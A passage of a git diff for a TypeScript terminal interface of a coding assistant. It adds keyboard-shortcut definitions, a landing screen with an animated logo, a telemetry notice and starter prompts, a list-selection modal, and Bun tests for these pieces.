description: "queue the message mid-run (badge); send straight through when idle" }, + { keys: "Alt+Enter", description: "steer at the next tool boundary; does nothing unless a run is busy" }, + { keys: "Ctrl+C", description: "interrupt the run, or clear the prompt when idle; press twice to exit" }, + { keys: "Ctrl+O", description: "open the command palette; press again to close it" }, + { keys: "Alt+C", description: "copy mode: pick a message, tool output, or diff; press again to close it" }, + { keys: "Alt+M", description: "take the mouse for click-to-expand and drag-scroll; off by default so drag-select and copy work" }, + { keys: "Alt+E", description: "expand or collapse every collapsible row (tool call, diff, skill, reasoning)" }, + { keys: "Tab", description: "move focus between the prompt and the transcript" }, + { keys: "Esc", description: "close the open overlay, or leave subagent observe" }, + { keys: "Ctrl+B / Ctrl+F", description: "move the cursor back / forward one character" }, + { keys: "Ctrl+D", description: "at an empty prompt, quit; with text in the buffer, delete the character under the cursor" }, + { keys: "Alt+B / Alt+F", description: "move the cursor back / forward one word" }, + { keys: "Ctrl+K", description: "kill from the cursor to the end of the line" }, + { keys: "Ctrl+U", description: "kill from the start of the line to the cursor" }, + { keys: "Ctrl+W", description: "kill the previous word" }, + { keys: "Alt+D", description: "kill the next word" }, + { keys: "Ctrl+Y", description: "yank the last kill at the cursor" }, + { keys: "Alt+Y", description: "replace the text just yanked with the next-older kill" }, + { keys: "Ctrl+V / Ctrl+P", description: "attach an image from the clipboard to the next message" }, + { keys: "?", description: "with the transcript focused, open this shortcut list; press again to close it" }, + { keys: "@", description: "at the start of a word, open file suggestions for the @mention being typed" }, + { keys: "/", description: "at an empty prompt, open the command list (Tab completes, Enter runs)" }, + { keys: "Up / Down", description: "recall previously sent messages, from the prompt's first / last row" }, + { keys: "Arrow keys", description: "move the cursor left / right / up / down in the prompt" }, + { + keys: "Ctrl+Enter / Ctrl+J", + description: + "insert a newline instead of sending (Shift+Enter also works on terminals that report the modifier)", + }, +] as const + +/** + * Palette entry id (residual action id or registry command name) → the chord + * that reaches the same surface without the palette. + */ +const PALETTE_CHORDS: Readonly> = { + help: "?", + mentions: "@", + copy_active: "Alt+C", + toggle_mouse: "Alt+M", + "paste-image": "Ctrl+V / Ctrl+P", +} + +/** + * Chord to advertise for a palette row, or undefined when the entry has none. + * Resolved against SHELL_SHORTCUTS so the palette can never print a binding the + * shell does not actually implement. + */ +export function shortcutForPaletteId(id: string): string | undefined { + const keys = PALETTE_CHORDS[id] + if (keys === undefined) return undefined + return SHELL_SHORTCUTS.some((s) => s.keys === keys) ? keys : undefined +} diff --git a/src/tui-opentui/landing.test.ts b/src/tui-opentui/landing.test.ts new file mode 100644 index 000000000..071987a1f --- /dev/null +++ b/src/tui-opentui/landing.test.ts @@ -0,0 +1,448 @@ +/** + * Landing anatomy: the animated mark, a vertically centred prompt box, the + * telemetry disclosure and selectable starters — and nothing left over once + * the transcript has content. + */ +import { describe, expect, test } from "bun:test" +import type { CapturedSpan } from "@opentui/core" +import { rgbToHex } from "@opentui/core" +import { withTestRenderer, type Harness } from "./harness" +import { + appendStreamRow, + applyLandingSuggestion, + createAppShell, + paintChrome, + setPromptWorkspace, + isLanding, + paintLanding, +} from "./shell" +import { openOperatorOverlay } from "./overlays" +import { + LANDING_HINTS, + LANDING_SUGGESTIONS, + landingBelowContent, + landingBelowRows, + landingSuggestionFor, + resolveMarkGrid, + splitLandingRows, + wrapLanding, +} from "./landing" +import { LOCKUP_WORDMARK } from "./lockup" +import { MARK_LARGE, MARK_MID, MARK_SMALL } from "./mark-shape" +import { UI } from "./theme" + +const SIZE = { width: 80, height: 24 } as const +const NOTICE = "Anonymous usage telemetry is enabled. Disable in /settings." + +/** Newly added scroll-box children need a layout pass before they paint. */ +async function settle(h: Harness): Promise { + await h.renderOnce() + await h.renderOnce() +} + +function backgrounds(h: Harness): readonly string[] { + const frame = h.captureSpans() + return frame.lines.flatMap((line: { spans: CapturedSpan[] }) => + line.spans + .filter((span) => span.text.trim().length > 0 || span.width > 20) + .map((span) => rgbToHex(span.bg).toLowerCase().slice(0, 7)), + ) +} + +function rows(h: Harness): readonly string[] { + return h.captureCharFrame().split("\n") +} + +/** Landing mark rows only — the bottom-left lockup shares the same glyphs. */ +function markRows(h: Harness): readonly string[] { + return rows(h).filter( + (row) => /[░▒▓█▁▂▃▄▅▆▇]/.test(row) && !row.includes(LOCKUP_WORDMARK), + ) +} + +describe("landing layout math", () => { + test("splits the transcript zone evenly around the prompt box", () => { + expect(splitLandingRows(19)).toEqual({ above: 9, below: 10 }) + expect(splitLandingRows(0)).toEqual({ above: 0, below: 0 }) + expect(splitLandingRows(-4)).toEqual({ above: 0, below: 0 }) + }) + + test("wraps on words without breaking them", () => { + expect(wrapLanding("one two three four", 9)).toEqual(["one two", "three", "four"]) + expect(wrapLanding("supercalifragilistic", 4)).toEqual(["supercalifragilistic"]) + }) + + test("the disclosure outranks the starters when rows are scarce", () => { + const full = landingBelowContent({ rows: 10, columns: 78, telemetryNotice: NOTICE }) + expect(full.notice.length).toBeGreaterThan(0) + expect(full.suggestions).toEqual(LANDING_SUGGESTIONS) + + const cramped = landingBelowContent({ + rows: 3, + columns: 78, + telemetryNotice: NOTICE, + }) + expect(cramped.notice.length).toBeGreaterThan(0) + expect(cramped.suggestions).toEqual([]) + }) + + test("no notice means no notice rows", () => { + const content = landingBelowContent({ rows: 10, columns: 78 }) + expect(content.notice).toEqual([]) + const text = landingBelowRows(content).map((row) => row.text) + expect(text).toContain("try") + expect(text.some((line) => line.includes("telemetry"))).toBe(false) + }) + + test("the mark degrades through its tiers and then disappears", () => { + // Roomy: the hero grid, which is the only size that reads unambiguously. + expect(resolveMarkGrid(20, 96)).toBe(MARK_LARGE) + // A row short of the hero, a tier down rather than a clipped hero. + expect(resolveMarkGrid(12, 96)).toBe(MARK_MID) + expect(resolveMarkGrid(9, 96)).toBe(MARK_SMALL) + // Narrow enough that the mark would crowd the hints: the hints win. + expect(resolveMarkGrid(20, 50)).toBe(MARK_SMALL) + expect(resolveMarkGrid(20, 30)).toBeNull() + expect(resolveMarkGrid(3, 96)).toBeNull() + }) + + test("every starter is reachable by its key", () => { + for (const item of LANDING_SUGGESTIONS) { + expect(landingSuggestionFor(item.key)).toBe(item) + } + expect(landingSuggestionFor("z")).toBeNull() + }) +}) + +describe("landing screen", () => { + test("centres the prompt box between the mark and the disclosure", async () => { + await withTestRenderer(async (h) => { + const shell = createAppShell(h.renderer, { + title: "corbits", + terminal: { columns: 80, rows: 24 }, + wireKeys: false, + run: "idle", + telemetryNotice: NOTICE, + }) + try { + await settle(h) + const painted = rows(h) + // Either corner set: the prompt border's glyphs are the box owner's + // business, the box's position is what this asserts. + const top = painted.findIndex((row) => /[┌╭]/.test(row)) + const bottom = painted.findIndex((row) => /[└╰]/.test(row)) + expect(top).toBeGreaterThan(0) + // The box straddles the terminal's middle row (within the half row an + // odd-height box on an even-height terminal cannot avoid). + expect(Math.abs((top + bottom) / 2 - (SIZE.height - 1) / 2)).toBeLessThanOrEqual(1) + + // Mark above, bottom-anchored against the box; disclosure below it. + const mark = markRows(h) + // Whichever tier this terminal seats, the mark is whole: a clipped + // grid would read as a different shape. + expect([MARK_LARGE, MARK_MID, MARK_SMALL].map((g) => g.rows)).toContain( + mark.length, + ) + expect(painted.indexOf(mark.at(-1) as string)).toBeLessThan(top) + // The two doors sit beside the mark, not under it. + for (const hint of LANDING_HINTS) { + const row = painted.find((line) => line.includes(hint.rest)) + expect(row).toBeDefined() + expect(row).toContain(hint.key) + expect(row!.indexOf(hint.key)).toBeGreaterThan(0) + } + const noticeRow = painted.findIndex((row) => row.includes("telemetry")) + expect(noticeRow).toBeGreaterThan(bottom) + for (const item of LANDING_SUGGESTIONS) { + expect(h.captureCharFrame()).toContain(item.label) + } + } finally { + shell.dispose() + } + }, SIZE) + }) + + test("the mark paints in the brand orange, not a cool accent", async () => { + await withTestRenderer(async (h) => { + const shell = createAppShell(h.renderer, { + terminal: { columns: 80, rows: 24 }, + wireKeys: false, + run: "idle", + }) + try { + await settle(h) + const tones = new Set( + h + .captureSpans() + .lines.flatMap((line: { spans: CapturedSpan[] }) => line.spans) + .filter((span) => /[░▒▓█]/.test(span.text)) + .map((span) => rgbToHex(span.fg).toLowerCase().slice(0, 7)), + ) + expect(tones.size).toBeGreaterThan(0) + for (const tone of tones) { + expect([UI.action, UI.actionDim] as readonly string[]).toContain(tone) + } + } finally { + shell.dispose() + } + }, SIZE) + }) + + test("the mark advances off an injected clock while a turn runs", async () => { + await withTestRenderer(async (h) => { + const shell = createAppShell(h.renderer, { + terminal: { columns: 80, rows: 24 }, + wireKeys: false, + run: "idle", + }) + try { + await settle(h) + const still = markRows(h).join("\n") + + // Idle re-entry holds the filled frame however far the clock moves. + paintLanding(shell, 1_700, false) + await settle(h) + expect(markRows(h).join("\n")).toBe(still) + + const frames = new Set() + for (const nowMs of [0, 500, 1_100, 1_900, 2_600, 3_400]) { + paintLanding(shell, nowMs, true) + await settle(h) + frames.add(markRows(h).join("\n")) + } + expect(frames.size).toBeGreaterThan(1) + } finally { + shell.dispose() + } + }, SIZE) + }) + + test("a starter key fills the prompt; a typed prompt keeps its digits", async () => { + await withTestRenderer(async (h) => { + const shell = createAppShell(h.renderer, { + terminal: { columns: 80, rows: 24 }, + wireKeys: false, + run: "idle", + }) + try { + await settle(h) + const first = LANDING_SUGGESTIONS[0] + expect(first).toBeDefined() + expect(applyLandingSuggestion(shell, first!.key)).toBe(true) + expect(shell.prompt.value).toBe(first!.prompt) + + // Already typed: the key is a character, not a shortcut. + expect(applyLandingSuggestion(shell, first!.key)).toBe(false) + } finally { + shell.dispose() + } + }, SIZE) + }) + + test("the starters withdraw while the prompt has text", async () => { + await withTestRenderer(async (h) => { + const shell = createAppShell(h.renderer, { + terminal: { columns: 80, rows: 24 }, + wireKeys: false, + telemetryNotice: NOTICE, + }) + try { + await settle(h) + const first = LANDING_SUGGESTIONS[0]! + expect(h.captureCharFrame()).toContain(first.label) + + shell.prompt.value = "wri" + paintChrome(shell) + await settle(h) + const typing = h.captureCharFrame() + expect(typing).not.toContain(first.label) + // The disclosure is not a suggestion and must not withdraw with them. + expect(typing).toContain("telemetry") + + shell.prompt.value = "" + paintChrome(shell) + await settle(h) + expect(h.captureCharFrame()).toContain(first.label) + } finally { + shell.dispose() + } + }, SIZE) + }) + + test("the brand lockup sits in the prompt box's bottom border, session-long", async () => { + await withTestRenderer(async (h) => { + const shell = createAppShell(h.renderer, { + terminal: { columns: 80, rows: 24 }, + wireKeys: false, + }) + try { + await settle(h) + // The lockup rides the box's bottom rule, so it is on the rule itself + // rather than on a row of its own beneath it. + const landingPainted = rows(h) + const landingRow = landingPainted.findIndex((row) => + row.includes(LOCKUP_WORDMARK), + ) + expect(landingRow).toBeGreaterThanOrEqual(0) + expect(landingPainted[landingRow]).toContain("╰") + + // It outlives the landing: this is session chrome, not a splash. + appendStreamRow(shell, { role: "user", text: "first prompt" }) + await settle(h) + const painted = rows(h) + const ruleRow = painted.findIndex((row) => + row.includes(LOCKUP_WORDMARK), + ) + // The prompt box rests on the terminal's last row. + expect(ruleRow).toBe(SIZE.height - 1) + const row = painted[ruleRow]! + // Left end of the rule, inside the shell gutter, costing no row. + expect(row.startsWith(" ╰─ ")).toBe(true) + expect(row.trimEnd().endsWith("╯")).toBe(true) + } finally { + shell.dispose() + } + }, SIZE) + }) + + test("a narrow rule drops the lockup and keeps the workspace", async () => { + await withTestRenderer( + async (h) => { + const shell = createAppShell(h.renderer, { + terminal: { columns: 34, rows: 20 }, + wireKeys: false, + cwd: "/src/corbits-code", + }) + try { + setPromptWorkspace(shell, { branch: "migration/opentui-tui" }) + await settle(h) + const frame = h.captureCharFrame() + // The workspace is information and the mark is not: the mark goes. + expect(frame).not.toContain(LOCKUP_WORDMARK) + expect(frame).toContain("(migration/opentui-tui) ─╯") + } finally { + shell.dispose() + } + }, + { width: 34, height: 20 }, + ) + }) + + test("an overlay covers the landing instead of moving it", async () => { + await withTestRenderer( + async (h) => { + const shell = createAppShell(h.renderer, { + terminal: { columns: 100, rows: 30 }, + wireKeys: false, + run: "idle", + telemetryNotice: NOTICE, + }) + try { + await settle(h) + const before = rows(h) + const anchors = ["message", "telemetry", LANDING_SUGGESTIONS[0]!.label] + const was = anchors.map((text) => + before.findIndex((row) => row.includes(text)), + ) + expect(was.every((index) => index > 0)).toBe(true) + + openOperatorOverlay(shell) + await settle(h) + const after = rows(h) + // Every landing anchor is on the row it was on: the overlay covers + // the composition, it does not push it around. + expect( + anchors.map((text) => after.findIndex((row) => row.includes(text))), + ).toEqual(was) + expect(h.captureCharFrame()).toContain("operator") + } finally { + shell.dispose() + } + }, + { width: 100, height: 30 }, + ) + }) + + test("a short or narrow terminal shrinks the mark, never the prompt box", async () => { + for (const size of [ + { width: 100, height: 30 }, + { width: 80, height: 24 }, + { width: 60, height: 20 }, + ]) { + await withTestRenderer(async (h) => { + const shell = createAppShell(h.renderer, { + terminal: { columns: size.width, rows: size.height }, + wireKeys: false, + run: "idle", + telemetryNotice: NOTICE, + }) + try { + await settle(h) + const painted = rows(h) + // The prompt field is on screen at every size, and the mark fits + // above it rather than overrunning it. + const field = painted.findIndex((row) => row.includes("message")) + expect(field).toBeGreaterThan(0) + expect(field).toBeLessThan(size.height) + expect(markRows(h).length).toBeLessThan(field) + expect(h.captureCharFrame()).toContain(LANDING_HINTS[0]!.rest) + } finally { + shell.dispose() + } + }, size) + } + }) + + test("no titlebar, status strip or counter row survives", async () => { + await withTestRenderer(async (h) => { + const shell = createAppShell(h.renderer, { + terminal: { columns: 80, rows: 24 }, + wireKeys: false, + run: "idle", + }) + try { + await settle(h) + const frame = h.captureCharFrame() + for (const gone of ["BUSY", "IDLE", "FOLLOW", "queue", "lines", "focus"]) { + expect(frame).not.toContain(gone) + } + // The old header blue and status green are gone as fills. + const fills = new Set(backgrounds(h)) + expect(fills.has("#3d59a1")).toBe(false) + expect(fills.has("#9ece6a")).toBe(false) + } finally { + shell.dispose() + } + }, SIZE) + }) + + test("the landing is dropped once the transcript has content", async () => { + await withTestRenderer(async (h) => { + const shell = createAppShell(h.renderer, { + terminal: { columns: 80, rows: 24 }, + wireKeys: false, + telemetryNotice: NOTICE, + }) + try { + await settle(h) + expect(isLanding(shell)).toBe(true) + appendStreamRow(shell, { role: "user", text: "first prompt" }) + await settle(h) + expect(isLanding(shell)).toBe(false) + const frame = h.captureCharFrame() + expect(markRows(h)).toEqual([]) + expect(frame).toContain("first prompt") + expect(frame).not.toContain("explain this codebase") + // The disclosure survives the teardown as a transcript row. + expect(frame).toContain("telemetry") + // The prompt box is back at the foot of the screen. + const painted = rows(h) + expect(painted.findIndex((row) => /[└╰]/.test(row))).toBeGreaterThan( + SIZE.height - 4, + ) + } finally { + shell.dispose() + } + }, SIZE) + }) +}) diff --git a/src/tui-opentui/landing.ts b/src/tui-opentui/landing.ts new file mode 100644 index 000000000..26a87c670 --- /dev/null +++ b/src/tui-opentui/landing.ts @@ -0,0 +1,422 @@ +/** + * The landing screen: what a session looks like before it has said anything. + * + * Three parts, split across the prompt box so the box lands in the vertical + * middle of the terminal: + * + * above the animated dither mark, bottom-left of its zone, with the two + * way-in keys set beside its shoulder + * ──── the prompt box and its hint row (owned by the shell) + * below the telemetry disclosure, then a few selectable starter prompts + * + * The mark is the screen. Beside it sit exactly two lines — the command menu + * and the shortcut sheet — because those two are the only doors an operator + * needs on a screen where nothing has happened yet; every other key is behind + * one of them, and listing keys here would trade the one legible thing on the + * screen for a reference card nobody reads twice. + * + * The disclosure sits directly under the box rather than at the bottom edge + * because it has to be read, not discovered. + * + * Layout math is pure (`splitLandingRows`, `resolveMarkGrid`, `wrapLanding`) so + * the composition is testable without a renderer, and the mark repaints off an + * injected clock. + */ + +import { + StyledText, + fg as fgChunk, + type CliRenderer, + type TextChunk, +} from "@opentui/core" +import { BoxRenderable, TextRenderable } from "@opentui/core" + +import { MARK_LARGE, MARK_MID, MARK_SMALL, type MarkGrid } from "./mark-shape.js" +import { renderMark } from "./mark-anim.js" +import { UI } from "./theme.js" +import { stringWidth } from "../tui/view/height.js" + +/** + * Left gutter inside the shell's side margin (`resolveSideMargin`, applied to + * the shell root). One column, matching the transcript's own gutter, so the + * landing and the first transcript row share a left edge. + */ +export const LANDING_MARGIN = 1 + +/** One blank row between the mark and the prompt box. */ +const MARK_GAP_ROWS = 1 + +/** Columns of air between the mark's right edge and the hint block. */ +export const LANDING_HERO_GAP = 3 + +/** + * The two doors off the landing screen. Every other key lives behind one of + * them, so this list never grows. + */ +export const LANDING_HINTS: readonly { + readonly key: string + readonly rest: string +}[] = [ + { key: "ctrl+o", rest: "for commands" }, + { key: "?", rest: "for shortcuts" }, +] + +/** Columns the hint block needs, its longest line deciding. */ +export const LANDING_HINT_WIDTH = LANDING_HINTS.reduce( + (widest, hint) => Math.max(widest, hint.key.length + 1 + hint.rest.length), + 0, +) + +/** Largest first: the landing takes the best-reading mark its zone can seat. */ +const MARK_TIERS: readonly MarkGrid[] = [MARK_LARGE, MARK_MID, MARK_SMALL] + +/** + * The mark grid that fits the zone above the prompt box, or null when even the + * compact grid would push the box off screen. + * + * Rows are the binding constraint on a short terminal and columns on a narrow + * one, so both are checked: the mark degrades through the tiers and then + * disappears, and the prompt box never moves to make room for it. + */ +export function resolveMarkGrid( + aboveRows: number, + columns: number, +): MarkGrid | null { + const width = Math.max(0, columns) - LANDING_MARGIN + for (const grid of MARK_TIERS) { + if (grid.rows + MARK_GAP_ROWS > aboveRows) continue + if (grid.cols + LANDING_HERO_GAP + LANDING_HINT_WIDTH > width) continue + return grid + } + return null +} + +export type LandingSuggestion = { + /** The key that fills the prompt with this prompt. */ + readonly key: string + readonly label: string + /** Text dropped into the prompt verbatim. */ + readonly prompt: string +} + +/** + * Starter prompts, not decoration: each one is a real first move on an + * unfamiliar repository, and each is worded as a prompt we would send as-is. + */ +export const LANDING_SUGGESTIONS: readonly LandingSuggestion[] = [ + { + key: "1", + label: "explain this codebase", + prompt: + "Explain what this project does and how it is structured. Start from the entry points and the docs.", + }, + { + key: "2", + label: "find and fix a failing test", + prompt: + "Run the test suite, pick the first failing test, explain why it fails, and fix the cause rather than the assertion.", + }, + { + key: "3", + label: "review my uncommitted changes", + prompt: + "Review my uncommitted changes for correctness, missing tests, and anything that does not match the conventions in this repo.", + }, +] + +/** The suggestion a keypress selects, or null when the key selects nothing. */ +export function landingSuggestionFor(key: string): LandingSuggestion | null { + return LANDING_SUGGESTIONS.find((item) => item.key === key) ?? null +} + +/** + * Split the transcript zone into the rows above the prompt box and the rows + * below it, placing the box's middle row on the terminal's middle row. + * + * The shell's landing frame is transcript + model bar + 3 prompt rows + hint, + * so an even split of the transcript zone is what centres the box. + */ +export function splitLandingRows(transcriptRows: number): { + readonly above: number + readonly below: number +} { + const total = Math.max(0, transcriptRows) + const above = Math.floor(total / 2) + return { above, below: total - above } +} + +/** Greedy word wrap. Long words are left over-long rather than broken. */ +export function wrapLanding(text: string, width: number): readonly string[] { + if (width <= 0) return [text] + const lines: string[] = [] + let line = "" + for (const word of text.split(/\s+/).filter((w) => w.length > 0)) { + const candidate = line.length === 0 ? word : `${line} ${word}` + if (stringWidth(candidate) <= width) { + line = candidate + continue + } + if (line.length > 0) lines.push(line) + line = word + } + if (line.length > 0) lines.push(line) + return lines.length > 0 ? lines : [""] +} + +export type LandingBelowContent = { + readonly notice: readonly string[] + readonly suggestions: readonly LandingSuggestion[] +} + +/** + * Choose what fits below the prompt box. The disclosure outranks the + * suggestions: on a short terminal the starters go, the notice stays. + */ +export function landingBelowContent(input: { + readonly rows: number + /** Content width already inside the shell's side margin. */ + readonly columns: number + readonly telemetryNotice?: string | undefined +}): LandingBelowContent { + const width = Math.max(1, input.columns - LANDING_MARGIN) + const notice = + input.telemetryNotice === undefined || input.telemetryNotice.length === 0 + ? [] + : wrapLanding(input.telemetryNotice, width) + // One leading blank row, then the notice; the starters add a separating blank + // row, a header, and one row each. + const noticeRows = 1 + notice.length + const starterRows = (notice.length === 0 ? 0 : 1) + 1 + LANDING_SUGGESTIONS.length + const suggestions = + input.rows >= noticeRows + starterRows ? LANDING_SUGGESTIONS : [] + return { notice, suggestions } +} + +const SUGGESTION_HEADER = "try" + +/** + * Text rows painted below the prompt box, top to bottom. + * + * `suggestionsVisible` is false once the operator has typed anything. The + * starters are whole-prompt replacements — `applyLandingSuggestion` already + * refuses to overwrite typed text — so leaving a numbered list on screen would + * advertise keys that do nothing, and the digits would land in the prompt + * instead. Offering different, "complementary" text while someone is mid- + * sentence would be worse still: it competes with the thing being typed. So + * the starters withdraw and come back the moment the prompt is empty again. + * The rows stay, blank, so the layout does not jump on the first keystroke. + */ +export function landingBelowRows( + content: LandingBelowContent, + suggestionsVisible = true, +): readonly { + readonly text: string + readonly fg: string +}[] { + const rows: { text: string; fg: string }[] = [{ text: "", fg: UI.textDim }] + for (const line of content.notice) rows.push({ text: line, fg: UI.textDim }) + if (content.suggestions.length > 0) { + if (content.notice.length > 0) rows.push({ text: "", fg: UI.textDim }) + rows.push({ + text: suggestionsVisible ? SUGGESTION_HEADER : "", + fg: UI.textFaint, + }) + for (const item of content.suggestions) { + rows.push({ + text: suggestionsVisible ? `${item.key} ${item.label}` : "", + fg: UI.textDim, + }) + } + } + return rows +} + +function markChunks( + grid: MarkGrid, + nowMs: number, + still: boolean, +): readonly TextChunk[][] { + return renderMark({ nowMs, still, grid }).map((row) => + row.map((cell) => fgChunk(cell.fg)(cell.char)), + ) +} + +export type LandingAbove = { + readonly box: BoxRenderable + readonly hero: BoxRenderable + readonly markColumn: BoxRenderable + readonly markRows: readonly TextRenderable[] + /** The grid currently painted, or null while the mark is suppressed. */ + grid: MarkGrid | null +} + +/** + * The mark, bottom-anchored in its zone so it sits directly on the prompt box + * rather than floating in the middle of the empty space above it, with the + * hint block beside its shoulder. + * + * Rows are allocated for the largest tier once and hidden from the top down as + * smaller tiers are selected, so a resize never rebuilds the subtree. + */ +export function createLandingAbove(ctx: CliRenderer): LandingAbove { + const box = new BoxRenderable(ctx, { + id: "shell-landing-above", + width: "100%", + flexGrow: 1, + flexDirection: "column", + justifyContent: "flex-end", + paddingLeft: LANDING_MARGIN, + backgroundColor: UI.ground, + }) + const hero = new BoxRenderable(ctx, { + id: "shell-landing-hero", + width: "100%", + height: MARK_LARGE.rows, + flexShrink: 0, + flexDirection: "row", + backgroundColor: UI.ground, + }) + const markColumn = new BoxRenderable(ctx, { + id: "shell-landing-mark", + width: MARK_LARGE.cols, + flexShrink: 0, + flexDirection: "column", + justifyContent: "flex-end", + backgroundColor: UI.ground, + }) + const markRows: TextRenderable[] = [] + for (let row = 0; row < MARK_LARGE.rows; row++) { + const line = new TextRenderable(ctx, { + id: `shell-landing-mark-${row}`, + height: 1, + content: "", + fg: UI.action, + }) + markRows.push(line) + markColumn.add(line) + } + hero.add(markColumn) + hero.add(createHintBlock(ctx)) + box.add(hero) + box.add( + new TextRenderable(ctx, { + id: "shell-landing-mark-gap", + height: MARK_GAP_ROWS, + content: "", + fg: UI.ground, + }), + ) + const above: LandingAbove = { + box, + hero, + markColumn, + markRows, + grid: MARK_SMALL, + } + fitLandingMark(above, MARK_SMALL) + paintLandingMark(above, 0, true) + return above +} + +/** The two doors, key emphasized and the rest dim. */ +function createHintBlock(ctx: CliRenderer): BoxRenderable { + const block = new BoxRenderable(ctx, { + id: "shell-landing-hints", + flexGrow: 1, + flexDirection: "column", + // Centred against the mark's full height rather than sitting at its peak: + // top-aligned, the two lines float beside the summit with the whole slope + // empty beneath them, which reads as unfinished rather than composed. + justifyContent: "center", + paddingLeft: LANDING_HERO_GAP, + backgroundColor: UI.ground, + }) + LANDING_HINTS.forEach((hint, index) => { + block.add( + new TextRenderable(ctx, { + id: `shell-landing-hint-${index}`, + height: 1, + content: new StyledText([ + fgChunk(UI.text)(hint.key), + fgChunk(UI.textDim)(` ${hint.rest}`), + ]), + }), + ) + }) + return block +} + +/** + * Seat the mark in `grid`, or suppress it entirely when `grid` is null. The + * hint block stays either way: it is the way off the screen, not decoration. + */ +export function fitLandingMark(above: LandingAbove, grid: MarkGrid | null): void { + above.grid = grid + const rows = grid?.rows ?? LANDING_HINTS.length + above.hero.height = rows + above.markColumn.visible = grid !== null + above.markColumn.width = grid?.cols ?? 0 + // Extra rows are hidden from the top so the ridgeline keeps its floor. + above.markRows.forEach((line, index) => { + line.visible = grid !== null && index >= MARK_LARGE.rows - grid.rows + }) +} + +/** + * Repaint the mark for the given clock. `still` holds the fully-filled frame — + * the idle state, and the reduced-motion state. + */ +export function paintLandingMark( + above: LandingAbove, + nowMs: number, + still: boolean, +): void { + const grid = above.grid + if (grid === null) return + const chunks = markChunks(grid, nowMs, still) + const offset = MARK_LARGE.rows - grid.rows + above.markRows.forEach((line, index) => { + const row = chunks[index - offset] + if (row !== undefined) line.content = new StyledText([...row]) + }) +} + +export function createLandingBelow( + ctx: CliRenderer, + content: LandingBelowContent, +): BoxRenderable { + const box = new BoxRenderable(ctx, { + id: "shell-landing-below", + width: "100%", + flexShrink: 0, + flexDirection: "column", + paddingLeft: LANDING_MARGIN, + backgroundColor: UI.ground, + }) + landingBelowRows(content).forEach((row, index) => { + box.add( + new TextRenderable(ctx, { + id: `shell-landing-below-${index}`, + height: 1, + content: row.text, + fg: row.fg, + }), + ) + }) + return box +} + +/** Repaint the rows below the box for the current suggestion visibility. */ +export function paintLandingBelow( + box: BoxRenderable, + content: LandingBelowContent, + suggestionsVisible: boolean, +): void { + const rows = landingBelowRows(content, suggestionsVisible) + box.getChildren().forEach((child, index) => { + const row = rows[index] + if (row !== undefined && child instanceof TextRenderable) { + child.content = row.text + } + }) +} diff --git a/src/tui-opentui/list-modal.test.ts b/src/tui-opentui/list-modal.test.ts new file mode 100644 index 000000000..c4488502a --- /dev/null +++ b/src/tui-opentui/list-modal.test.ts @@ -0,0 +1,58 @@ +import { describe, expect, test } from "bun:test" + +import { createHarness } from "./harness.js" +import { runListModal } from "./list-modal.js" + +async function mountModal(): Promise<{ + choice: Promise + harness: Awaited> +}> { + const harness = await createHarness({ width: 80, height: 24 }) + const choice = runListModal({ + title: "resume session", + options: [ + { id: "s-1", label: "First session" }, + { id: "s-2", label: "Second session" }, + ], + createRenderer: async () => harness.renderer, + }) + await harness.renderOnce() + return { choice, harness } +} + +describe("runListModal", () => { + test("resolves the id of the accepted row", async () => { + const { choice, harness } = await mountModal() + harness.pressKey("Enter") + expect(await choice).toBe("s-1") + }) + + test("arrow navigation selects the next row", async () => { + const { choice, harness } = await mountModal() + harness.pressKey("ARROW_DOWN") + harness.pressKey("Enter") + expect(await choice).toBe("s-2") + }) + + test("Escape resolves null", async () => { + const { choice, harness } = await mountModal() + harness.pressKey("Escape") + expect(await choice).toBeNull() + }) + + test("Ctrl+C resolves null", async () => { + const { choice, harness } = await mountModal() + harness.pressKey("Ctrl+C") + expect(await choice).toBeNull() + }) + + test("paints the heading and the option labels", async () => { + const { choice, harness } = await mountModal() + await harness.renderOnce() + const frame = harness.captureCharFrame() + expect(frame).toContain("First session") + expect(frame).toContain("Second session") + harness.pressKey("Escape") + await choice + }) +}) diff --git a/src/tui-opentui/list-modal.ts b/src/tui-opentui/list-modal.ts new file mode 100644 index 000000000..cae1e7a5e --- /dev/null +++ b/src/tui-opentui/list-modal.ts @@ -0,0 +1,107 @@ +/** + * Standalone single-select modal on the shared shell/list-overlay kit. + * + * Satellite surfaces (session resume, session mode) mount their own renderer, + * collect one choice, and tear down — they never join the live session host. + */ + +import { createCliRenderer, type CliRenderer, type KeyEvent } from "@opentui/core" + +import { + residualIdFromSelection, + residualListFromCatalog, + type ResidualCatalogEntry, +} from "./residuals.js" +import { + appendStreamRow, + createAppShell, + openListOverlay, + type PrimaryOverlayKind, +} from "./shell.js" + +export type ListModalConfig = { + /** Overlay title (also the shell header base title). */ + readonly title: string + /** Overlay kind — drives the shell's residual styling. */ + readonly kind?: PrimaryOverlayKind + /** Lines shown above the overlay, in the transcript region. */ + readonly heading?: readonly string[] + readonly options: readonly ResidualCatalogEntry[] + readonly activeIndex?: number + /** Renderer factory override for headless mounting in tests. */ + readonly createRenderer?: () => Promise +} + +/** + * Mount the modal and resolve with the accepted option id, or null when the + * operator cancels (Esc / Ctrl+C / Ctrl+D). + */ +export async function runListModal( + config: ListModalConfig, +): Promise { + const renderer = config.createRenderer + ? await config.createRenderer() + : await createCliRenderer({ exitOnCtrlC: false, targetFps: 30 }) + + const shell = createAppShell(renderer, { title: config.title, run: "idle" }) + + for (const line of config.heading ?? []) { + appendStreamRow(shell, { role: "system", text: line }) + } + + const { items, itemIds } = residualListFromCatalog(config.options) + + let settled = false + let resolveChoice: (value: string | null) => void = () => {} + const choice = new Promise((resolve) => { + resolveChoice = resolve + }) + + const teardown = (): void => { + renderer.keyInput.off("keypress", onKey) + try { + shell.dispose() + } catch { + // already torn down + } + try { + renderer.destroy() + } catch { + // already destroyed + } + } + + const settle = (id: string | null): void => { + if (settled) return + settled = true + teardown() + resolveChoice(id) + } + + function onKey(key: KeyEvent): void { + if (settled) return + const cancel = + key.name === "escape" || + (key.ctrl === true && (key.name === "c" || key.name === "d")) + if (cancel) { + key.preventDefault() + settle(null) + } + } + + openListOverlay(shell, { + kind: config.kind ?? "resume", + title: config.title, + items, + itemIds, + frameId: "overlay-list-modal", + activeIndex: config.activeIndex ?? 0, + onAccept: (selection) => { + settle(residualIdFromSelection(selection, itemIds) ?? null) + }, + }) + + renderer.keyInput.on("keypress", onKey) + + return choice +} diff --git a/src/tui-opentui/list-viewport.test.ts b/src/tui-opentui/list-viewport.test.ts new file mode 100644 index 000000000..e16567b01 --- /dev/null +++ b/src/tui-opentui/list-viewport.test.ts @@ -0,0 +1,239 @@ +import { describe, expect, test } from 